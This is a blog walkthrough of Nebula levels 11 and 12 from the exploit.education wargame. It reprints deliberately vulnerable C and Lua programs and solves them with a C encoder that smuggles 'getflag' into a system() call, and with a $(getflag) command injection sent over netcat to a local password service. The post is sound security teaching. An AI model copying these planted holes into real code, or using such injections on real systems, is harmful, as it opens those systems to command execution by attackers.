Posts /

Nebula 11-12 : Breaking cyphers and sockets

Twitter Facebook
23 May 2023

Nebula 11-12

Introduction

Welcome back to yet another cybersecurity post, I hope you are doing well!

Today we will go over the walkthroughs of Nebula’s level 11 and 12 from exploit.education.

As always, I highly encourage you to try these CTFs yourself before reading the solution, you have been warned!

Let’s get down to it.

Level 11

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for
 * it. 
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }    

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

The source code we are given seems to read from stdin, then it checks the user’s input, and if everything is fine it executes system(buffer).

To be more precise, the program checks that the user’s message is no longer than the size of buf, which is 1024 bytes.

We need to specify a header and a body, and the header must be of format "Content-Length: ".

When such message is longer than 1024 bytes, the program generates a random path and returns its file descriptor, which it uses afterwards to dump the contents of the body.

A memory segment is given to allocate the contents of the file pointed at by the file descriptor fd through mmap, and then a call to process is executed, which performs some kind of simple decryption algorithm and then executes system(buffer).

Obviously, we need to target this system call, since it is highly likely that we can control the buffer variable and execute whatever we want.

In the level’s directory we find the executable corresponding to this code :

Untitled

Just in case you want to do your research on some of the functions that are used in the source code, here are the links to their documentation :

The way to beat this level is to bypass the decryption algorithm, which is fairly easy since we can just code the function to encrypt our commands and then the process function will decrypt them :

// Compile with gcc /tmp/encoder.c -o /tmp/encoder -std=c99
// By 0xPxt

#include <stdio.h>
#include <string.h>

void encode(char* buffer, int length);

int main(int argc, char** argv) {
    char buffer[1024] = {0};
    strncpy(buffer, "getflag", 1024);

    encode(buffer, 1024);

    puts("Content-Length: 1024");
    printf("%s", buffer);

    return 0;
}

void encode(char* buffer, int length) {
    unsigned int key;

    key = length & 0xff;

    for (int i = 0; i < length; i++) {
       buffer[i] ^= key;
       key -= buffer[i] ^ key;
    }
}

Before running our exploit, we need to make sure the environment variable TEMP points to /tmp, which is where we have write permissions and where the program will try to create a random file.

We execute the code and


Untitled

Do not get fooled by the message, I don’t know what happens with the SUID bit, but this definitely counts!

Level 12

local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))

function hash(password)
  prog = io.popen("echo "..password.." | sha1sum", "r")
  data = prog:read("*all")
  prog:close()

  data = string.sub(data, 1, 40)

  return data
end

while 1 do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)

      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end

  end

  client:close()
end

I will not lie to you, this one looks way easier than level11, but that doesn’t mean it won’t be fun 😉.

I have needed to look up how Lua works, since I have never played around with it.

There is not much more you need to know to grasp what the source code does, but I leave you the documentation in case you haven’t done anything related with socket programming so you can get some knowledge.

Home page for LuaSocket :

LuaSocket: Network support for the Lua language

To obtain the socket module require(”socket”) is used :

Untitled

Then an IP address (127.0.0.1) and a port (50001) are assigned with socket.bind :

Untitled

To accept the connection on the socket, there is a call to server:accept() that returns a client object :

Untitled

Now that the connection is stablished, data can be sent through client:send() :

Untitled

In order to return control from the blocking I/O operation, a timeout is set with client:settimeout() :

Untitled

Finally, data is received through the socket with client:receive() :

Untitled

I don’t know how they made this level so obvious, but to my eyes we can clearly inject some code in the io.popen function.

There is a clear command injection vulnerability and we can exploit it by sending a proper payload in the password variable.

io.popen documentation :

Untitled

Untitled

The program is running as a backdoor process, which means it is constantly up and running in the background.

Let’s just connect to it with netcat and see what happens :

nc 127.0.0.1 50001

As expected, we are prompted for a password :

Untitled

We can inject our command with the syntax $(getflag) (bash command substitution).

This will result in the Lua program executing the following line :

prog = io.popen("echo $(getflag) | sha1sum", "r")

Since command substitution will execute the command and then substitute the $() syntax with the output, the resulting command will be :

echo You have successfully executed getflag on a target account | sha1sum

But there is a detail we are missing here, and that is that the process is being run in the background by the root user, which means we won’t be able to see the message in stdout.

A simple solution to this problem is to redirect the output to a file in /tmp, so that we can see if the command was successfully executed :

Untitled

Bingo! Another level completed!


Twitter Facebook